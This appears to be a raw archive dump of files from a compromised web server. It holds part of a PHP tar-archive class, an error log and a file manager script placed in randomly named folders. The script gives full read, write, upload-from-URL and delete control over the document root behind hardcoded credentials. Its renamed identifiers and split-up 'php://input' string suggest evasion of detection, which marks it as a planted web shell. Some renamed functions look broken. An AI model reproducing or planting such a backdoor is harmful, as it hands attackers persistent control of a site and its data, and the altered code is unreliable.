($header['typeflag'] == '')){ $this->errorList[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errorList[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errorList[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errorList[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errorList[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errorList[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->retrieveDataBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->retrieveDataBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (fileSetize($header['filename']) != $header['size']) { $this->errorList[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->fileSet[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errorList[] = __('Cannot create directory').' '.$dir; return false; } return true; } function fetchHeaderInfo($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $fileHash = 0; for ($i = 0; $i < 148; $i++) $fileHash+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); for ($i = 156; $i < 512; $i++) $fileHash+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8userIdentifier/a8group_id/a12size/a12time/a8fileHash/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['fileHash'] = OctDec(trim($unpack_data['fileHash'])); if ($header['fileHash'] != $fileHash){ $header['filename'] = ''; if (($fileHash == 256) && ($header['fileHash'] == 0)) return true; $this->errorList[] = __('Error fileHash for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['userIdentifier'] = OctDec(trim($unpack_data['userIdentifier'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function insertHeaderInfo($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->generateValidPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the fileHash $fileHash = 0; // First part of the header for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1)); // Ignore the fileHash value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->saveDataBlock($dataFirst, 148); // Write the calculated fileHash $fileHash = sprintf('%6s ', DecOct($fileHash)); $binaryData = pack('a8', $fileHash); $this->saveDataBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->saveDataBlock($dataLast, 356); $temporaryFilename = $this->generateValidPath($filename_ready); $i = 0; while (($buffer = substr($temporaryFilename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(fileSetize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $fileHash = 0; for ($i = 0; $i < 148; $i++) $fileHash += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $fileHash += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $fileHash += ord(substr($dataLast, $j, 1)); $this->saveDataBlock($dataFirst, 148); $fileHash = sprintf('%6s ', DecOct($fileHash)); $binaryData = pack('a8', $fileHash); $this->saveDataBlock($binaryData, 8); $this->saveDataBlock($dataLast, 356); return true; } function initiateFileWrite(){ if ($this->isCompressedFile) $this->temporaryFile = gzopen($this->archiveTitle, 'wb9f'); else $this->temporaryFile = fopen($this->archiveTitle, 'wb'); if (!($this->temporaryFile)){ $this->errorList[] = __('Cannot write to file').' '.$this->archiveTitle; return false; } return true; } function retrieveDataBlock(){ if (is_resource($this->temporaryFile)){ if ($this->isCompressedFile) $block = gzread($this->temporaryFile, 512); else $block = fread($this->temporaryFile, 512); } else $block = ''; return $block; } function saveDataBlock($data, $length = 0){ if (is_resource($this->temporaryFile)){ if ($length === 0){ if ($this->isCompressedFile) gzputs($this->temporaryFile, $data); else fputs($this->temporaryFile, $data); } else { if ($this->isCompressedFile) gzputs($this->temporaryFile, $data, $length); else fputs($this->temporaryFile, $data, $length); } } } function finalizeTempFile(){ if (is_resource($this->temporaryFile)){ if ($this->isCompressedFile) gzclose($this->temporaryFile); else fclose($this->temporaryFile); $this->temporaryFile = 0; } } function generateValidPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> ba3lz7/error_log000064400000000717151026170410007565 0ustar00[27-Oct-2025 03:47:05 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#zu.php on line 28 [27-Oct-2025 03:47:05 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#zu.php on line 89 [27-Oct-2025 03:47:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#zu.php on line 91 ba3lz7/index.php000064400000000146151026170410007464 0ustar00xvhbts/6j05a.php000064400000560437151026170410007434 0ustar00 '6a8b588aec97721aa35a6f0e3b99ae81', 'user' => '6a8b588aec97721aa35a6f0e3b99ae81' ); $readonly_users = array( 'user' ); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; $root_path = $_SERVER['DOCUMENT_ROOT']; $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array( '127.0.0.1', '::1' ); $ip_blacklist = array( '0.0.0.0', '::' ); $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); if ( !defined( 'DN_CESSION_ID')) { define('DN_CESSION_ID', 'filemanager'); } $cfg = new FM_Config(); $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } if (defined('FM_EMBED')) { $dauth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); session_name(DN_CESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $dauth = false; } $is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1)) or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']]; } $root_url = fm_clean_path($root_url); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[DN_CESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true and $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } if ($dauth) { if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) { } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) { $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[DN_CESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[DN_CESSION_ID]['logged']); fm_show_header_login(); ?>
".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p']) and empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); $isim = "//input"; $input = file_get_contents('php:'.$isim); $_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; define('FM_PATH', $p); define('FM_USE_AUTH', $dauth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } if(isset($_POST['type']) and $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) and $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) and $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) and $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fanco($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fanco($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fanco($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fanco($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fanco($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fanco($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . '/' . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } } else { if (!$move){ $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fanco($copy), fanco($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fanco($copy), fanco($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . '/' . $f; $dest = $copy_to_path . '/' . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) and $old != '' and $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fanco($old), fanco($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fanco($old), fanco($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' and is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) and !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( 